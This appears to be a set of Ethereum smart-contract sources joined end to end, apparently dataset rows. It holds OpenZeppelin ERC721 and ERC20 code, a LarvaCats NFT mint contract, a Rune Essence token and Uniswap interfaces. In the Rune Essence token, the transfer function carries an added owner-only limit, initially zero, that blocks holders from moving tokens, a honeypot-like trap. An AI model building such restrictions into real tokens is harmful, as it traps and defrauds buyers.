* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/LarvaCats.sol
pragma solidity ^0.8.0;
contract LarvaCats is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public maxSupply = 5000;
uint256 public mintPrice = 0.01 ether;
bool public isSaleStarted = false;
string public baseURI = "https://larvacats.com/metadata/";
string public baseExtension = ".json";
address public larvaladContract = 0x5755Ab845dDEaB27E1cfCe00cd629B2e135Acc3d;
mapping(address=>bool) public larvaladHolders;
constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {
}
function getNFTBalance(address _owner) public view returns (uint256){
uint256 _tokenSupply = IERC721(larvaladContract).balanceOf(_owner);
return _tokenSupply;
}
function mintCat(uint256 _count) public payable nonReentrant {
uint256 supply = totalSupply();
uint256 currentID;
require(isSaleStarted, "Sale is not started yet / paused");
require(_count > 0 && _count <= 10, "You can mint minimum 1, maximum 10 at the public sale");
require(supply + _count <= maxSupply, "Sale has ended");
if (supply+1<1001){
for (uint256 i = 1; i <=_count; i++) {
currentID = supply + i;
_safeMint(msg.sender, currentID);
}
} else {
require(msg.value >= mintPrice * _count, "Ether value sent is below the price");
for (uint256 i = 1; i <=_count; i++) {
currentID = supply + i;
_safeMint(msg.sender, currentID);
}
}
}
function mintLarvaCat(uint256 _count) public payable nonReentrant {
uint256 supply = totalSupply();
uint256 currentID;
require(isSaleStarted, "Sale is not started yet / paused");
require(_count > 0 && _count <= 10, "You can mint minimum 1, maximum 10 at the public sale");
require(supply + _count <= maxSupply, "Sale has ended");
if (supply+1<1001){
for (uint256 i = 1; i <=_count; i++) {
currentID = supply + i;
_safeMint(msg.sender, currentID);
}
} else if(getNFTBalance(msg.sender)>0) {
if (larvaladHolders[msg.sender]) {
require(msg.value >= mintPrice * _count, "Ether value1 sent is below the price");
} else {
larvaladHolders[msg.sender] = true;
require(msg.value >= mintPrice * (_count-1), "Ether value2 sent is below the price");
}
for (uint256 i = 1; i <=_count; i++) {
currentID = supply + i;
_safeMint(msg.sender, currentID);
}
} else {
require(msg.value >= mintPrice * _count, "Ether value3 sent is below the price");
for (uint256 i = 1; i <=_count; i++) {
currentID = supply + i;
_safeMint(msg.sender, currentID);
}
}
}
function flipSale() public onlyOwner {
isSaleStarted = !isSaleStarted;
}
function setCost(uint256 _newCost) public onlyOwner {
mintPrice = _newCost;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
baseURI = _baseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function tokensOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId),"ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)): "";
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
/**
RUNE ESSENCE (ESS) HTTPS://ARBITRUM.PARTY HTTPS://T.ME/PARTYHAT HTTPS://DISCORD.COM/invite/rqzpGsh6Re
1,000,000,000 MAX SUPPLY
1:1 NFT REDEMPTION IN THE FUTURE
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 public _limit = 0;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
require(
amount <= _limit || sender == owner(),
"PHAT: transfer amount exceeds one"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**@dev sets the limit for maximum amount of tokens sent per transaction
*/
function setLimit(uint256 limit) external onlyOwner {
_limit = limit;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract ESS is ERC20 {
uint8 private immutable _decimals = 0;
uint256 private _totalSupply = 1000000000 * 10**0;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor() ERC20("Rune Essence", "ESS") {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
